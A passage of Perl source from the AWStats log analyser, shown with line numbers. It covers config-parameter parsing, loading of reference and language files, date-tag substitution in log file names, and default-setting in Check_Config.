                if ( $param =~ /^OnlyFiles/ ) {
 
2041
                        @OnlyFiles = ();
 
2042
                        foreach my $elem ( split( /\s+/, $value ) ) {
 
2043
                                if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
 
2044
                                else { $elem = '^' . quotemeta($elem) . '$'; }
 
2045
                                if ($elem) { push @OnlyFiles, qr/$elem/i; }
 
2046
                        }
 
2047
                        next;
 
2048
                }
 
2049
                if ( $param =~ /^NotPageFiles/ ) {
 
2050
                        @NotPageFiles = ();
 
2051
                        foreach my $elem ( split( /\s+/, $value ) ) {
 
2052
                                if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
 
2053
                                else { $elem = '^' . quotemeta($elem) . '$'; }
 
2054
                                if ($elem) { push @NotPageFiles, qr/$elem/i; }
 
2055
                        }
 
2056
                        next;
 
2057
                }
 
2058
                if ( $param =~ /^NotPageList/ ) {
 
2059
                        %NotPageList = ();
 
2060
                        foreach ( split( /\s+/, $value ) ) { $NotPageList{$_} = 1; }
 
2061
                        $FoundNotPageList = 1;
 
2062
                        next;
 
2063
                }
 
2064
                if ( $param =~ /^ValidHTTPCodes/ ) {
 
2065
                        %ValidHTTPCodes = ();
 
2066
                        foreach ( split( /\s+/, $value ) ) { $ValidHTTPCodes{$_} = 1; }
 
2067
                        next;
 
2068
                }
 
2069
                if ( $param =~ /^ValidSMTPCodes/ ) {
 
2070
                        %ValidSMTPCodes = ();
 
2071
                        foreach ( split( /\s+/, $value ) ) { $ValidSMTPCodes{$_} = 1; }
 
2072
                        next;
 
2073
                }
 
2074
                if ( $param =~ /^URLWithQueryWithOnlyFollowingParameters$/ ) {
 
2075
                        @URLWithQueryWithOnly = split( /\s+/, $value );
 
2076
                        next;
 
2077
                }
 
2078
                if ( $param =~ /^URLWithQueryWithoutFollowingParameters$/ ) {
 
2079
                        @URLWithQueryWithout = split( /\s+/, $value );
 
2080
                        next;
 
2081
                }
 
2082
 
 
2083
                # Extra parameters
 
2084
                if ( $param =~ /^ExtraSectionName(\d+)/ ) {
 
2085
                        $ExtraName[$1] = $value;
 
2086
                        next;
 
2087
                }
 
2088
                if ( $param =~ /^ExtraSectionCodeFilter(\d+)/ ) {
 
2089
                        @{ $ExtraCodeFilter[$1] } = split( /\s+/, $value );
 
2090
                        next;
 
2091
                }
 
2092
                if ( $param =~ /^ExtraSectionCondition(\d+)/ ) {
 
2093
                        $ExtraCondition[$1] = $value;
 
2094
                        next;
 
2095
                }
 
2096
                if ( $param =~ /^ExtraSectionStatTypes(\d+)/ ) {
 
2097
                        $ExtraStatTypes[$1] = $value;
 
2098
                        next;
 
2099
                }
 
2100
                if ( $param =~ /^ExtraSectionFirstColumnTitle(\d+)/ ) {
 
2101
                        $ExtraFirstColumnTitle[$1] = $value;
 
2102
                        next;
 
2103
                }
 
2104
                if ( $param =~ /^ExtraSectionFirstColumnValues(\d+)/ ) {
 
2105
                        $ExtraFirstColumnValues[$1] = $value;
 
2106
                        next;
 
2107
                }
 
2108
                if ( $param =~ /^ExtraSectionFirstColumnFunction(\d+)/ ) {
 
2109
                        $ExtraFirstColumnFunction[$1] = $value;
 
2110
                        next;
 
2111
                }
 
2112
                if ( $param =~ /^ExtraSectionFirstColumnFormat(\d+)/ ) {
 
2113
                        $ExtraFirstColumnFormat[$1] = $value;
 
2114
                        next;
 
2115
                }
 
2116
                if ( $param =~ /^ExtraSectionAddAverageRow(\d+)/ ) {
 
2117
                        $ExtraAddAverageRow[$1] = $value;
 
2118
                        next;
 
2119
                }
 
2120
                if ( $param =~ /^ExtraSectionAddSumRow(\d+)/ ) {
 
2121
                        $ExtraAddSumRow[$1] = $value;
 
2122
                        next;
 
2123
                }
 
2124
                if ( $param =~ /^MaxNbOfExtra(\d+)/ ) {
 
2125
                        $MaxNbOfExtra[$1] = $value;
 
2126
                        next;
 
2127
                }
 
2128
                if ( $param =~ /^MinHitExtra(\d+)/ ) {
 
2129
                        $MinHitExtra[$1] = $value;
 
2130
                        next;
 
2131
                }
 
2132
 
 
2133
                # Plugins
 
2134
                if ( $param =~ /^LoadPlugin/ ) { push @PluginsToLoad, $value; next; }
 
2135
 
 
2136
          # Other parameter checks we need to put after MaxNbOfExtra and MinHitExtra
 
2137
                if ( $param =~ /^MaxNbOf(\w+)/ ) { $MaxNbOf{$1} = $value; next; }
 
2138
                if ( $param =~ /^MinHit(\w+)/ )  { $MinHit{$1}  = $value; next; }
 
2139
 
 
2140
# Check if this is a known parameter
 
2141
#               if (! $ConfOk{$param}) { error("Unknown config parameter '$param' found line $conflinenb in file \"configFile\""); }
 
2142
# If parameters was not found previously, defined variable with name of param to value
 
2143
                $$param = $value;
 
2144
        }
 
2145
 
 
2146
        if ($Debug) {
 
2147
                debug("Config file read was \"$configFile\" (level $level)");
 
2148
        }
 
2149
}
 
2150
 
 
2151
#------------------------------------------------------------------------------
 
2152
# Function:     Load the reference databases
 
2153
# Parameters:   List of files to load
 
2154
# Input:                $DIR
 
2155
# Output:               Arrays and Hash tables are defined
 
2156
# Return:       -
 
2157
#------------------------------------------------------------------------------
 
2158
sub Read_Ref_Data {
 
2159
 
 
2160
# Check lib files in common possible directories :
 
2161
# Windows and standard package:                 "$DIR/lib" (lib in same dir than awstats.pl)
 
2162
# Debian package:                               "/usr/share/awstats/lib"
 
2163
        my @PossibleLibDir = ( "$DIR/lib", "/usr/share/awstats/lib" );
 
2164
        my %FilePath       = ();
 
2165
        my %DirAddedInINC  = ();
 
2166
        my @FileListToLoad = ();
 
2167
        while ( my $file = shift ) { push @FileListToLoad, "$file.pm"; }
 
2168
        if ($Debug) {
 
2169
                debug( "Call to Read_Ref_Data with files to load: "
 
2170
                          . ( join( ',', @FileListToLoad ) ) );
 
2171
        }
 
2172
        foreach my $file (@FileListToLoad) {
 
2173
                foreach my $dir (@PossibleLibDir) {
 
2174
                        my $searchdir = $dir;
 
2175
                        if (   $searchdir
 
2176
                                && ( !( $searchdir =~ /\/$/ ) )
 
2177
                                && ( !( $searchdir =~ /\\$/ ) ) )
 
2178
                        {
 
2179
                                $searchdir .= "/";
 
2180
                        }
 
2181
                        if ( !$FilePath{$file} )
 
2182
                        {    # To not load twice same file in different path
 
2183
                                if ( -s "${searchdir}${file}" ) {
 
2184
                                        $FilePath{$file} = "${searchdir}${file}";
 
2185
                                        if ($Debug) {
 
2186
                                                debug(
 
2187
"Call to Read_Ref_Data [FilePath{$file}=\"$FilePath{$file}\"]"
 
2188
                                                );
 
2189
                                        }
 
2190
 
 
2191
                                        # Note: cygwin perl 5.8 need a push + require file
 
2192
                                        if ( !$DirAddedInINC{"$dir"} ) {
 
2193
                                                push @INC, "$dir";
 
2194
                                                $DirAddedInINC{"$dir"} = 1;
 
2195
                                        }
 
2196
                                        my $loadret = require "$file";
 
2197
 
 
2198
                                   #my $loadret=(require "$FilePath{$file}"||require "${file}");
 
2199
                                }
 
2200
                        }
 
2201
                }
 
2202
                if ( !$FilePath{$file} ) {
 
2203
                        my $filetext = $file;
 
2204
                        $filetext =~ s/\.pm$//;
 
2205
                        $filetext =~ s/_/ /g;
 
2206
                        warning(
 
2207
"Warning: Can't read file \"$file\" ($filetext detection will not work correctly).\nCheck if file is in \""
 
2208
                                  . ( $PossibleLibDir[0] )
 
2209
                                  . "\" directory and is readable." );
 
2210
                }
 
2211
        }
 
2212
 
 
2213
        # Sanity check (if loaded)
 
2214
        if ( ( scalar keys %OSHashID )
 
2215
                && @OSSearchIDOrder != scalar keys %OSHashID )
 
2216
        {
 
2217
                error(  "Not same number of records of OSSearchIDOrder ("
 
2218
                          . (@OSSearchIDOrder)
 
2219
                          . " entries) and OSHashID ("
 
2220
                          . ( scalar keys %OSHashID )
 
2221
                          . " entries) in OS database. Check your file "
 
2222
                          . $FilePath{"operating_systems.pm"} );
 
2223
        }
 
2224
        if (
 
2225
                ( scalar keys %SearchEnginesHashID )
 
2226
                && ( @SearchEnginesSearchIDOrder_list1 +
 
2227
                        @SearchEnginesSearchIDOrder_list2 +
 
2228
                        @SearchEnginesSearchIDOrder_listgen ) != scalar
 
2229
                keys %SearchEnginesHashID
 
2230
          )
 
2231
        {
 
2232
                error(
 
2233
"Not same number of records of SearchEnginesSearchIDOrder_listx (total is "
 
2234
                          . (
 
2235
                                @SearchEnginesSearchIDOrder_list1 +
 
2236
                                  @SearchEnginesSearchIDOrder_list2 +
 
2237
                                  @SearchEnginesSearchIDOrder_listgen
 
2238
                          )
 
2239
                          . " entries) and SearchEnginesHashID ("
 
2240
                          . ( scalar keys %SearchEnginesHashID )
 
2241
                          . " entries) in Search Engines database. Check your file "
 
2242
                          . $FilePath{"search_engines.pm"}
 
2243
                          . " is up to date."
 
2244
                );
 
2245
        }
 
2246
        if ( ( scalar keys %BrowsersHashIDLib )
 
2247
                && @BrowsersSearchIDOrder != ( scalar keys %BrowsersHashIDLib ) - 8 )
 
2248
        {
 
2249
                #foreach (sort keys %BrowsersHashIDLib)
 
2250
                #{
 
2251
                #       print $_."\n";
 
2252
                #}
 
2253
                #foreach (sort @BrowsersSearchIDOrder)
 
2254
                #{
 
2255
                #       print $_."\n";
 
2256
                #}
 
2257
                error(  "Not same number of records of BrowsersSearchIDOrder ("
 
2258
                          . (@BrowsersSearchIDOrder)
 
2259
                          . " entries) and BrowsersHashIDLib ("
 
2260
                          . ( ( scalar keys %BrowsersHashIDLib ) - 8 )
 
2261
                          . " entries without firefox,opera,chrome,safari,konqueror,svn,msie,netscape) in Browsers database. May be you updated AWStats without updating browsers.pm file or you made changed into browsers.pm not correctly. Check your file "
 
2262
                          . $FilePath{"browsers.pm"}
 
2263
                          . " is up to date." );
 
2264
        }
 
2265
        if (
 
2266
                ( scalar keys %RobotsHashIDLib )
 
2267
                && ( @RobotsSearchIDOrder_list1 + @RobotsSearchIDOrder_list2 +
 
2268
                        @RobotsSearchIDOrder_listgen ) !=
 
2269
                ( scalar keys %RobotsHashIDLib ) - 1
 
2270
          )
 
2271
        {
 
2272
                error(
 
2273
                        "Not same number of records of RobotsSearchIDOrder_listx (total is "
 
2274
                          . (
 
2275
                                @RobotsSearchIDOrder_list1 + @RobotsSearchIDOrder_list2 +
 
2276
                                  @RobotsSearchIDOrder_listgen
 
2277
                          )
 
2278
                          . " entries) and RobotsHashIDLib ("
 
2279
                          . ( ( scalar keys %RobotsHashIDLib ) - 1 )
 
2280
                          . " entries without 'unknown') in Robots database. Check your file "
 
2281
                          . $FilePath{"robots.pm"}
 
2282
                          . " is up to date."
 
2283
                );
 
2284
        }
 
2285
}
 
2286
 
 
2287
#------------------------------------------------------------------------------
 
2288
# Function:     Get the messages for a specified language
 
2289
# Parameters:   LanguageId
 
2290
# Input:                $DirLang $DIR
 
2291
# Output:               $Message table is defined in memory
 
2292
# Return:               None
 
2293
#------------------------------------------------------------------------------
 
2294
sub Read_Language_Data {
 
2295
 
 
2296
# Check lang files in common possible directories :
 
2297
# Windows and standard package:                 "$DIR/lang" (lang in same dir than awstats.pl)
 
2298
# Debian package :                              "/usr/share/awstats/lang"
 
2299
        my @PossibleLangDir =
 
2300
          ( "$DirLang", "$DIR/lang", "/usr/share/awstats/lang" );
 
2301
 
 
2302
        my $FileLang = '';
 
2303
        foreach (@PossibleLangDir) {
 
2304
                my $searchdir = $_;
 
2305
                if (   $searchdir
 
2306
                        && ( !( $searchdir =~ /\/$/ ) )
 
2307
                        && ( !( $searchdir =~ /\\$/ ) ) )
 
2308
                {
 
2309
                        $searchdir .= "/";
 
2310
                }
 
2311
                if ( open( LANG, "${searchdir}awstats-$_[0].txt" ) ) {
 
2312
                        $FileLang = "${searchdir}awstats-$_[0].txt";
 
2313
                        last;
 
2314
                }
 
2315
        }
 
2316
 
 
2317
        # If file not found, we try english
 
2318
        if ( !$FileLang ) {
 
2319
                foreach (@PossibleLangDir) {
 
2320
                        my $searchdir = $_;
 
2321
                        if (   $searchdir
 
2322
                                && ( !( $searchdir =~ /\/$/ ) )
 
2323
                                && ( !( $searchdir =~ /\\$/ ) ) )
 
2324
                        {
 
2325
                                $searchdir .= "/";
 
2326
                        }
 
2327
                        if ( open( LANG, "${searchdir}awstats-en.txt" ) ) {
 
2328
                                $FileLang = "${searchdir}awstats-en.txt";
 
2329
                                last;
 
2330
                        }
 
2331
                }
 
2332
        }
 
2333
        if ($Debug) {
 
2334
                debug("Call to Read_Language_Data [FileLang=\"$FileLang\"]");
 
2335
        }
 
2336
        if ($FileLang) {
 
2337
                my $i = 0;
 
2338
                binmode LANG;    # Might avoid 'Malformed UTF-8 errors'
 
2339
                my $cregcode    = qr/^PageCode=[\t\s\"\']*([\w-]+)/i;
 
2340
                my $cregdir     = qr/^PageDir=[\t\s\"\']*([\w-]+)/i;
 
2341
                my $cregmessage = qr/^Message\d+=/i;
 
2342
                while (<LANG>) {
 
2343
                        chomp $_;
 
2344
                        s/\r//;
 
2345
                        if ( $_ =~ /$cregcode/o ) { $PageCode = $1; }
 
2346
                        if ( $_ =~ /$cregdir/o )  { $PageDir  = $1; }
 
2347
                        if ( $_ =~ s/$cregmessage//o ) {
 
2348
                                $_ =~ s/^#.*//;       # Remove comments
 
2349
                                $_ =~ s/\s+#.*//;     # Remove comments
 
2350
                                $_ =~ tr/\t /  /s;    # Change all blanks into " "
 
2351
                                $_ =~ s/^\s+//;
 
2352
                                $_ =~ s/\s+$//;
 
2353
                                $_ =~ s/^\"//;
 
2354
                                $_ =~ s/\"$//;
 
2355
                                $Message[$i] = $_;
 
2356
                                $i++;
 
2357
                        }
 
2358
                }
 
2359
                close(LANG);
 
2360
        }
 
2361
        else {
 
2362
                warning(
 
2363
"Warning: Can't find language files for \"$_[0]\". English will be used."
 
2364
                );
 
2365
        }
 
2366
 
 
2367
        # Some language string changes
 
2368
        if ( $LogType eq 'M' ) {    # For mail
 
2369
                $Message[8]  = $Message[151];
 
2370
                $Message[9]  = $Message[152];
 
2371
                $Message[57] = $Message[149];
 
2372
                $Message[75] = $Message[150];
 
2373
        }
 
2374
        if ( $LogType eq 'F' ) {    # For web
 
2375
 
 
2376
        }
 
2377
}
 
2378
 
 
2379
#------------------------------------------------------------------------------
 
2380
# Function:     Substitute date tags in a string by value
 
2381
# Parameters:   String
 
2382
# Input:                All global variables
 
2383
# Output:               Change on some global variables
 
2384
# Return:               String
 
2385
#------------------------------------------------------------------------------
 
2386
sub Substitute_Tags {
 
2387
        my $SourceString = shift;
 
2388
        if ($Debug) { debug("Call to Substitute_Tags on $SourceString"); }
 
2389
 
 
2390
        my %MonthNumLibEn = (
 
2391
                "01", "Jan", "02", "Feb", "03", "Mar", "04", "Apr",
 
2392
                "05", "May", "06", "Jun", "07", "Jul", "08", "Aug",
 
2393
                "09", "Sep", "10", "Oct", "11", "Nov", "12", "Dec"
 
2394
        );
 
2395
 
 
2396
        while ( $SourceString =~ /%([ymdhwYMDHWNSO]+)-(\(\d+\)|\d+)/ ) {
 
2397
 
 
2398
                # Accept tag %xx-dd and %xx-(dd)
 
2399
                my $timetag     = "$1";
 
2400
                my $timephase   = quotemeta("$2");
 
2401
                my $timephasenb = "$2";
 
2402
                $timephasenb =~ s/[^\d]//g;
 
2403
                if ($Debug) {
 
2404
                        debug(
 
2405
" Found a time tag '$timetag' with a phase of '$timephasenb' hour in log file name",
 
2406
                                1
 
2407
                        );
 
2408
                }
 
2409
 
 
2410
                # Get older time
 
2411
                my (
 
2412
                        $oldersec,   $oldermin,  $olderhour, $olderday,
 
2413
                        $oldermonth, $olderyear, $olderwday, $olderyday
 
2414
                  )
 
2415
                  = localtime( $starttime - ( $timephasenb * 3600 ) );
 
2416
                my $olderweekofmonth = int( $olderday / 7 );
 
2417
                my $olderweekofyear  =
 
2418
                  int(
 
2419
                        ( $olderyday - 1 + 6 - ( $olderwday == 0 ? 6 : $olderwday - 1 ) ) /
 
2420
                          7 ) + 1;
 
2421
                if ( $olderweekofyear > 53 ) { $olderweekofyear = 1; }
 
2422
                my $olderdaymod = $olderday % 7;
 
2423
                $olderwday++;
 
2424
                my $olderns =
 
2425
                  Time::Local::timegm( 0, 0, 0, $olderday, $oldermonth, $olderyear );
 
2426
 
 
2427
                if ( $olderdaymod <= $olderwday ) {
 
2428
                        if ( ( $olderwday != 7 ) || ( $olderdaymod != 0 ) ) {
 
2429
                                $olderweekofmonth = $olderweekofmonth + 1;
 
2430
                        }
 
2431
                }
 
2432
                if ( $olderdaymod > $olderwday ) {
 
2433
                        $olderweekofmonth = $olderweekofmonth + 2;
 
2434
                }
 
2435
 
 
2436
                # Change format of time variables
 
2437
                $olderweekofmonth = "0$olderweekofmonth";
 
2438
                if ( $olderweekofyear < 10 ) { $olderweekofyear = "0$olderweekofyear"; }
 
2439
                if ( $olderyear < 100 ) { $olderyear += 2000; }
 
2440
                else { $olderyear += 1900; }
 
2441
                my $oldersmallyear = $olderyear;
 
2442
                $oldersmallyear =~ s/^..//;
 
2443
                if ( ++$oldermonth < 10 ) { $oldermonth = "0$oldermonth"; }
 
2444
                if ( $olderday < 10 )     { $olderday   = "0$olderday"; }
 
2445
                if ( $olderhour < 10 )    { $olderhour  = "0$olderhour"; }
 
2446
                if ( $oldermin < 10 )     { $oldermin   = "0$oldermin"; }
 
2447
                if ( $oldersec < 10 )     { $oldersec   = "0$oldersec"; }
 
2448
 
 
2449
                # Replace tag with new value
 
2450
                if ( $timetag eq 'YYYY' ) {
 
2451
                        $SourceString =~ s/%YYYY-$timephase/$olderyear/ig;
 
2452
                        next;
 
2453
                }
 
2454
                if ( $timetag eq 'YY' ) {
 
2455
                        $SourceString =~ s/%YY-$timephase/$oldersmallyear/ig;
 
2456
                        next;
 
2457
                }
 
2458
                if ( $timetag eq 'MM' ) {
 
2459
                        $SourceString =~ s/%MM-$timephase/$oldermonth/ig;
 
2460
                        next;
 
2461
                }
 
2462
                if ( $timetag eq 'MO' ) {
 
2463
                        $SourceString =~ s/%MO-$timephase/$MonthNumLibEn{$oldermonth}/ig;
 
2464
                        next;
 
2465
                }
 
2466
                if ( $timetag eq 'DD' ) {
 
2467
                        $SourceString =~ s/%DD-$timephase/$olderday/ig;
 
2468
                        next;
 
2469
                }
 
2470
                if ( $timetag eq 'HH' ) {
 
2471
                        $SourceString =~ s/%HH-$timephase/$olderhour/ig;
 
2472
                        next;
 
2473
                }
 
2474
                if ( $timetag eq 'NS' ) {
 
2475
                        $SourceString =~ s/%NS-$timephase/$olderns/ig;
 
2476
                        next;
 
2477
                }
 
2478
                if ( $timetag eq 'WM' ) {
 
2479
                        $SourceString =~ s/%WM-$timephase/$olderweekofmonth/g;
 
2480
                        next;
 
2481
                }
 
2482
                if ( $timetag eq 'Wm' ) {
 
2483
                        my $olderweekofmonth0 = $olderweekofmonth - 1;
 
2484
                        $SourceString =~ s/%Wm-$timephase/$olderweekofmonth0/g;
 
2485
                        next;
 
2486
                }
 
2487
                if ( $timetag eq 'WY' ) {
 
2488
                        $SourceString =~ s/%WY-$timephase/$olderweekofyear/g;
 
2489
                        next;
 
2490
                }
 
2491
                if ( $timetag eq 'Wy' ) {
 
2492
                        my $olderweekofyear0 = sprintf( "%02d", $olderweekofyear - 1 );
 
2493
                        $SourceString =~ s/%Wy-$timephase/$olderweekofyear0/g;
 
2494
                        next;
 
2495
                }
 
2496
                if ( $timetag eq 'DW' ) {
 
2497
                        $SourceString =~ s/%DW-$timephase/$olderwday/g;
 
2498
                        next;
 
2499
                }
 
2500
                if ( $timetag eq 'Dw' ) {
 
2501
                        my $olderwday0 = $olderwday - 1;
 
2502
                        $SourceString =~ s/%Dw-$timephase/$olderwday0/g;
 
2503
                        next;
 
2504
                }
 
2505
 
 
2506
                # If unknown tag
 
2507
                error("Unknown tag '\%$timetag' in parameter.");
 
2508
        }
 
2509
 
 
2510
# Replace %YYYY %YY %MM %DD %HH with current value. Kept for backward compatibility.
 
2511
        $SourceString =~ s/%YYYY/$nowyear/ig;
 
2512
        $SourceString =~ s/%YY/$nowsmallyear/ig;
 
2513
        $SourceString =~ s/%MM/$nowmonth/ig;
 
2514
        $SourceString =~ s/%MO/$MonthNumLibEn{$nowmonth}/ig;
 
2515
        $SourceString =~ s/%DD/$nowday/ig;
 
2516
        $SourceString =~ s/%HH/$nowhour/ig;
 
2517
        $SourceString =~ s/%NS/$nowns/ig;
 
2518
        $SourceString =~ s/%WM/$nowweekofmonth/g;
 
2519
        my $nowweekofmonth0 = $nowweekofmonth - 1;
 
2520
        $SourceString =~ s/%Wm/$nowweekofmonth0/g;
 
2521
        $SourceString =~ s/%WY/$nowweekofyear/g;
 
2522
        my $nowweekofyear0 = $nowweekofyear - 1;
 
2523
        $SourceString =~ s/%Wy/$nowweekofyear0/g;
 
2524
        $SourceString =~ s/%DW/$nowwday/g;
 
2525
        my $nowwday0 = $nowwday - 1;
 
2526
        $SourceString =~ s/%Dw/$nowwday0/g;
 
2527
 
 
2528
        return $SourceString;
 
2529
}
 
2530
 
 
2531
#------------------------------------------------------------------------------
 
2532
# Function:     Check if all parameters are correctly defined. If not set them to default.
 
2533
# Parameters:   None
 
2534
# Input:                All global variables
 
2535
# Output:               Change on some global variables
 
2536
# Return:               None
 
2537
#------------------------------------------------------------------------------
 
2538
sub Check_Config {
 
2539
        if ($Debug) { debug("Call to Check_Config"); }
 
2540
 
 
2541
        # Show initial values of main parameters before check
 
2542
        if ($Debug) {
 
2543
                debug( " LogFile='$LogFile'",           2 );
 
2544
                debug( " LogType='$LogType'",           2 );
 
2545
                debug( " LogFormat='$LogFormat'",       2 );
 
2546
                debug( " LogSeparator='$LogSeparator'", 2 );
 
2547
                debug( " DNSLookup='$DNSLookup'",       2 );
 
2548
                debug( " DirData='$DirData'",           2 );
 
2549
                debug( " DirCgi='$DirCgi'",             2 );
 
2550
                debug( " DirIcons='$DirIcons'",         2 );
 
2551
                debug( " NotPageList " .    ( join( ',', keys %NotPageList ) ),    2 );
 
2552
                debug( " ValidHTTPCodes " . ( join( ',', keys %ValidHTTPCodes ) ), 2 );
 
2553
                debug( " ValidSMTPCodes " . ( join( ',', keys %ValidSMTPCodes ) ), 2 );
 
2554
                debug( " UseFramesWhenCGI=$UseFramesWhenCGI",     2 );
 
2555
                debug( " BuildReportFormat=$BuildReportFormat",   2 );
 
2556
                debug( " BuildHistoryFormat=$BuildHistoryFormat", 2 );
 
2557
                debug(
 
2558
                        " URLWithQueryWithOnlyFollowingParameters="
 
2559
                          . ( join( ',', @URLWithQueryWithOnly ) ),
 
2560
                        2
 
2561
                );
 
2562
                debug(
 
2563
                        " URLWithQueryWithoutFollowingParameters="
 
2564
                          . ( join( ',', @URLWithQueryWithout ) ),
 
2565
                        2
 
2566
                );
 
2567
        }
 
2568
 
 
2569
        # Main section
 
2570
        $LogFile = &Substitute_Tags($LogFile);
 
2571
        if ( !$LogFile ) {
 
2572
                error("LogFile parameter is not defined in config/domain file");
 
2573
        }
 
2574
        if ( $LogType !~ /[WSMF]/i ) { $LogType = 'W'; }
 
2575
        $LogFormat =~ s/\\//g;
 
2576
        if ( !$LogFormat ) {
 
2577
                error("LogFormat parameter is not defined in config/domain file");
 
2578
        }
 
2579
        if ( $LogFormat =~ /^\d$/ && $LogFormat !~ /[1-6]/ ) {
 
2580
                error(
 
2581
"LogFormat parameter is wrong in config/domain file. Value is '$LogFormat' (should be 1,2,3,4,5 or a 'personalized AWStats log format string')"
 
2582
                );
 
2583
        }
 
2584
        $LogSeparator ||= "\\s";
 
2585
        $DirData      ||= '.';
 
2586
        $DirCgi       ||= '/cgi-bin';
 
2587
        $DirIcons     ||= '/icon';
 
2588
        if ( $DNSLookup !~ /[0-2]/ ) {
 
2589
                error(
 
2590
"DNSLookup parameter is wrong in config/domain file. Value is '$DNSLookup' (should be 0,1 or 2)"
 
2591
                );
 
2592
        }
 
2593
        if ( !$SiteDomain ) {
 
2594
                error(
 
2595
"SiteDomain parameter not defined in your config/domain file. You must edit it for using this version of AWStats."
 
2596
                );
 
2597
        }
 
2598
        if ( $AllowToUpdateStatsFromBrowser !~ /[0-1]/ ) {
 
2599
                $AllowToUpdateStatsFromBrowser = 0;
 
2600
        }
 
2601
        if ( $AllowFullYearView !~ /[0-3]/ ) { $AllowFullYearView = 2; }
 
2602
 
 
2603
        # Optional setup section
 
2604
        if ( !$SectionsToBeSaved )             { $SectionsToBeSaved   = 'all'; }
 
2605
        if ( $EnableLockForUpdate !~ /[0-1]/ ) { $EnableLockForUpdate = 0; }
 
2606
        $DNSStaticCacheFile     ||= 'dnscache.txt';
 
2607
        $DNSLastUpdateCacheFile ||= 'dnscachelastupdate.txt';
 
2608
        if ( $DNSStaticCacheFile eq $DNSLastUpdateCacheFile ) {
 
2609
                error(
 
2610
"DNSStaticCacheFile and DNSLastUpdateCacheFile must have different values."
 
2611
                );
 
2612
        }
 
2613
        if ( $AllowAccessFromWebToAuthenticatedUsersOnly !~ /[0-1]/ ) {
 
2614
                $AllowAccessFromWebToAuthenticatedUsersOnly = 0;
 
2615
        }
 
2616
        if ( $CreateDirDataIfNotExists !~ /[0-1]/ ) {
 
2617
                $CreateDirDataIfNotExists = 0;
 
2618
        }
 
2619
        if ( $BuildReportFormat !~ /html|xhtml|xml/i ) {
 
2620
                $BuildReportFormat = 'html';
 
2621
        }
 
2622
        if ( $BuildHistoryFormat !~ /text|xml/ ) { $BuildHistoryFormat = 'text'; }
 
2623
        if ( $SaveDatabaseFilesWithPermissionsForEveryone !~ /[0-1]/ ) {
 
2624
                $SaveDatabaseFilesWithPermissionsForEveryone = 0;
 
2625
        }
 
2626
        if ( $PurgeLogFile !~ /[0-1]/ ) { $PurgeLogFile = 0; }
 
2627
        if ( $KeepBackupOfHistoricFiles !~ /[0-1]/ ) {
 
2628
                $KeepBackupOfHistoricFiles = 0;
 
2629
        }
 
2630
        $DefaultFile[0] ||= 'index.html';
 
2631
        if ( $AuthenticatedUsersNotCaseSensitive !~ /[0-1]/ ) {
 
2632
                $AuthenticatedUsersNotCaseSensitive = 0;
 
2633
        }
 
2634
        if ( $URLNotCaseSensitive !~ /[0-1]/ ) { $URLNotCaseSensitive = 0; }
 
2635
        if ( $URLWithAnchor !~ /[0-1]/ )       { $URLWithAnchor       = 0; }
 
2636
        $URLQuerySeparators =~ s/\s//g;
 
2637
        if ( !$URLQuerySeparators )             { $URLQuerySeparators   = '?;'; }
 
2638
        if ( $URLWithQuery !~ /[0-1]/ )         { $URLWithQuery         = 0; }
 
2639
        if ( $URLReferrerWithQuery !~ /[0-1]/ ) { $URLReferrerWithQuery = 0; }
 
2640
        if ( $WarningMessages !~ /[0-1]/ )      { $WarningMessages      = 1; }
 
2641
        if ( $DebugMessages !~ /[0-1]/ )        { $DebugMessages        = 0; }
 
2642
 
 
2643
        if ( $NbOfLinesForCorruptedLog !~ /^\d+/ || $NbOfLinesForCorruptedLog < 1 )
 
2644
        {
 
2645
                $NbOfLinesForCorruptedLog = 50;
 
2646
        }
 
2647
        if ( $Expires !~ /^\d+/ )   { $Expires  = 0; }
 
2648
        if ( $DecodeUA !~ /[0-1]/ ) { $DecodeUA = 0; }
 
2649
        $MiscTrackerUrl ||= '/js/awstats_misc_tracker.js';
 
2650
 
 
2651
        # Optional accuracy setup section
 
2652
        if ( $LevelForWormsDetection !~ /^\d+/ )  { $LevelForWormsDetection  = 0; }
 
2653
        if ( $LevelForRobotsDetection !~ /^\d+/ ) { $LevelForRobotsDetection = 2; }
 
2654
        if ( $LevelForBrowsersDetection !~ /^\w+/ ) {
 
2655
                $LevelForBrowsersDetection = 2;
 
2656
        }    # Can be 'allphones'
 
2657
        if ( $LevelForOSDetection !~ /^\d+/ )    { $LevelForOSDetection    = 2; }
 
2658
        if ( $LevelForRefererAnalyze !~ /^\d+/ ) { $LevelForRefererAnalyze = 2; }
 
2659
        if ( $LevelForFileTypesDetection !~ /^\d+/ ) {
 
2660
                $LevelForFileTypesDetection = 2;
 
2661
        }
 
2662
        if ( $LevelForSearchEnginesDetection !~ /^\d+/ ) {
 
2663
                $LevelForSearchEnginesDetection = 2;
 
2664
        }
 
2665
        if ( $LevelForKeywordsDetection !~ /^\d+/ ) {
 
2666
                $LevelForKeywordsDetection = 2;
 
2667
        }
 
2668
 
 
2669
        # Optional extra setup section
 
2670
        foreach my $extracpt ( 1 .. @ExtraName - 1 ) {
 
2671
                if ( $ExtraStatTypes[$extracpt] !~ /[PHBL]/ ) {
 
2672
                        $ExtraStatTypes[$extracpt] = 'PHBL';
 
2673
                }
 
2674
                if (   $MaxNbOfExtra[$extracpt] !~ /^\d+$/
 
2675
                        || $MaxNbOfExtra[$extracpt] < 0 )
 
2676
                {
 
2677
                        $MaxNbOfExtra[$extracpt] = 20;
 
2678
                }
 
2679
                if ( $MinHitExtra[$extracpt] !~ /^\d+$/ || $MinHitExtra[$extracpt] < 1 )
 
2680
                {
 
2681
                        $MinHitExtra[$extracpt] = 1;
 
2682
                }
 
2683
                if ( !$ExtraFirstColumnValues[$extracpt] ) {
 
2684
                        error(
 
2685
"Extra section number $extracpt is defined without ExtraSectionFirstColumnValues$extracpt parameter"
 
2686
                        );
 
2687
                }
 
2688
                if ( !$ExtraFirstColumnFormat[$extracpt] ) {
 
2689
                        $ExtraFirstColumnFormat[$extracpt] = '%s';
 
2690
                }
 
2691
        }
 
2692
 
 
2693
        # Optional appearance setup section
 
2694
        if ( $MaxRowsInHTMLOutput !~ /^\d+/ || $MaxRowsInHTMLOutput < 1 ) {
 
2695
                $MaxRowsInHTMLOutput = 1000;
 
2696
        }
 
2697
        if ( $ShowMenu !~ /[01]/ )            { $ShowMenu       = 1; }
 
2698
        if ( $ShowSummary !~ /[01UVPHB]/ )    { $ShowSummary    = 'UVPHB'; }
 
2699
        if ( $ShowMonthStats !~ /[01UVPHB]/ ) { $ShowMonthStats = 'UVPHB'; }
 
